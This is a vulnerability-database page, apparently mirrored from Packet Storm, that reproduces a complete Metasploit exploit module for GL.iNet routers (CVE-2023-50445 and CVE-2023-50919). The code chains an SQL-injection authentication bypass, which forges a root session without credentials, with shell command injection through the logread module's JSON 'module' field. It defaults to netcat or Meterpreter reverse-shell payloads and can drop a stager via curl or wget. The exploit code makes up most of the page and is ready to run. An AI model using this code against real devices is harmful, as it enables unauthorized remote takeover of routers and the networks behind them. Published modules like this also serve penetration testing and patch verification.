Lucene search
K

GL.iNet Unauthenticated Remote Command Execution

🗓️ 24 Jan 2024 00:00:00Reported by h00die-gr3y, DZONERZY, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 555 Views

GL.iNet Unauthenticated Remote Command Execution via logread module. Injection vulnerability in GL.iNet network products allows attacker to execute shell commands via JSON. Supports post-authentication using Admin-Token cookie. Vulnerable products: A1300, AX1800, MT3000, MT2500A, MT6000, MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300, E750, E750V2, MV1000, X3000, XE3000, SFT1200. CVE-2023-50445 and CVE-2023-50919.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GL.iNet Unauthenticated Remote Command Execution Exploit
24 Jan 202400:00
zdt
ATTACKERKB
CVE-2023-50445
28 Dec 202305:15
attackerkb
Circl
CVE-2023-50445
28 Dec 202306:26
circl
Circl
CVE-2023-50919
12 Jan 202409:26
circl
CNNVD
GL.iNet Multiple Products Operating System Command Injection Vulnerability
28 Dec 202300:00
cnnvd
CNNVD
GL.iNet Multiple Products Operating System Command Injection Vulnerability
12 Jan 202400:00
cnnvd
CVE
CVE-2023-50445
28 Dec 202300:00
cve
CVE
CVE-2023-50919
12 Jan 202400:00
cve
Cvelist
CVE-2023-50445
28 Dec 202300:00
cvelist
Cvelist
CVE-2023-50919
12 Jan 202400:00
cvelist
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'digest/md5'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',  
'Description' => %q{  
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker  
to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`  
interface in the `logread` module.  
This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen  
by the attacker.  
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication  
through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be  
retrieved without knowing a valid username and password.  
  
The following GL.iNet network products are vulnerable:  
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;  
- MT6000: v4.5.0 - v4.5.3;  
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;  
- E750/E750V2, MV1000: v4.3.8;  
- X3000: v4.0.0 - v4.4.2;  
- XE3000: v4.0.0 - v4.4.3;  
- SFT1200: v4.3.6;  
- and potentially others (just try ;-)  
  
NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads  
when using the Linux Dropper target.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'Unknown', # Discovery of the vulnerability CVE-2023-50445  
'DZONERZY' # Discovery of the vulnerability CVE-2023-50919  
  
],  
'References' => [  
['CVE', '2023-50445'],  
['CVE', '2023-50919'],  
['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],  
['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],  
['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],  
['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']  
],  
'DisclosureDate' => '2023-12-10',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],  
'Linemax' => 900,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('SID', [false, 'Session ID'])  
])  
end  
  
def vuln_version?  
@glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }  
# check first with version 4.x api call  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'call',  
params: [  
'',  
'ui',  
'check_initialized',  
{}  
]  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('result')  
res_json = res.get_json_document  
unless res_json.blank?  
@glinet['model'] = res_json['result']['model']  
@glinet['firmware'] = res_json['result']['firmware_version']  
end  
else  
# check with version 3.x api call. These versions are NOT vulnerable  
res = send_request_cgi({  
'method' => 'GET',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')  
})  
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')  
res_json = res.get_json_document  
unless res_json.blank?  
@glinet['model'] = res_json['model']  
@glinet['firmware'] = res_json['version']  
end  
end  
end  
  
# check for the vulnerable models and firmware versions  
case @glinet['model']  
when 'sft1200'  
@glinet['arch'] = 'mipsle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')  
when 'ar750', 'ar750s', 'ar300m', 'ar300m16'  
@glinet['arch'] = 'mipsbe'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'mt300n-v2', 'mt1300'  
@glinet['arch'] = 'mipsle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'ap1300', 'b1300'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')  
when 'e750', 'e750v2'  
@glinet['arch'] = 'mipsbe'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')  
when 'mv1000'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')  
when 'ax1800', 'axt1800', 'a1300'  
@glinet['arch'] = 'armle'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')  
when 'mt2500', 'mt2500a', 'mt3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')  
when 'mt6000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')  
when 'x3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')  
when 'xe3000'  
@glinet['arch'] = 'aarch64'  
return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')  
end  
@glinet['arch'] = 'n/a'  
return false  
end  
  
def auth_bypass  
# Check if datastore['SID'] is set  
return datastore['SID'] unless datastore['SID'].blank?  
  
# Exploit CVE-2023-50919 to retrieve the SID without valid username and password.  
# Send an RPC request calling the challenge method, which will return a random nonce,  
# the selected root user’s salt, and the crypt’s algorithm to hash the password.  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'challenge',  
params: {  
username: 'root'  
}  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('nonce')  
res_json = res.get_json_document  
unless res_json.blank?  
nonce = res_json['result']['nonce']  
end  
else  
fail_with(Failure::NotFound, 'Getting the random nonce failed.')  
end  
# Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username  
# Use the SQL injection part to lookup the ACLs for root stored in sqlite db  
# Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce  
username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"  
pw = '0'  
hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")  
  
# Login with the password hash and obtain the SessionID (SID)  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'login',  
params: {  
username: username.to_s,  
hash: hash.to_s  
}  
}.to_json  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
if res && res.code == 200 && res.body.include?('sid')  
res_json = res.get_json_document  
unless res_json.blank?  
sid = res_json['result']['sid']  
end  
else  
fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')  
end  
return sid  
end  
  
def execute_command(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"  
post_data = {  
jsonrpc: '2.0',  
id: rand(1000..9999),  
method: 'call',  
params: [  
@sid.to_s,  
'logread',  
'get_system_log',  
{  
lines: '',  
module: "|#{cmd}"  
}  
]  
}.to_json  
  
return send_request_cgi({  
'method' => 'POST',  
'ctype' => 'text/json',  
'cookie' => "Admin-Token=#{@sid}",  
'uri' => normalize_uri(target_uri.path, 'rpc'),  
'data' => post_data.to_s  
})  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
# Check if target is a GL.iNet network device and the firmware version is vulnerable  
return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?  
  
unless @glinet['firmware'].nil?  
# GL.iNet network devices with firmware version 3.x that are safe from this exploit  
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')  
  
# GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)  
if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))  
return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")  
end  
return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')  
end  
# No GL.iNet network device or not reachable  
CheckCode::Unknown('No GL.iNet network device or device is not responding.')  
end  
  
def exploit  
@sid = auth_bypass  
print_status("SID: #{@sid}")  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation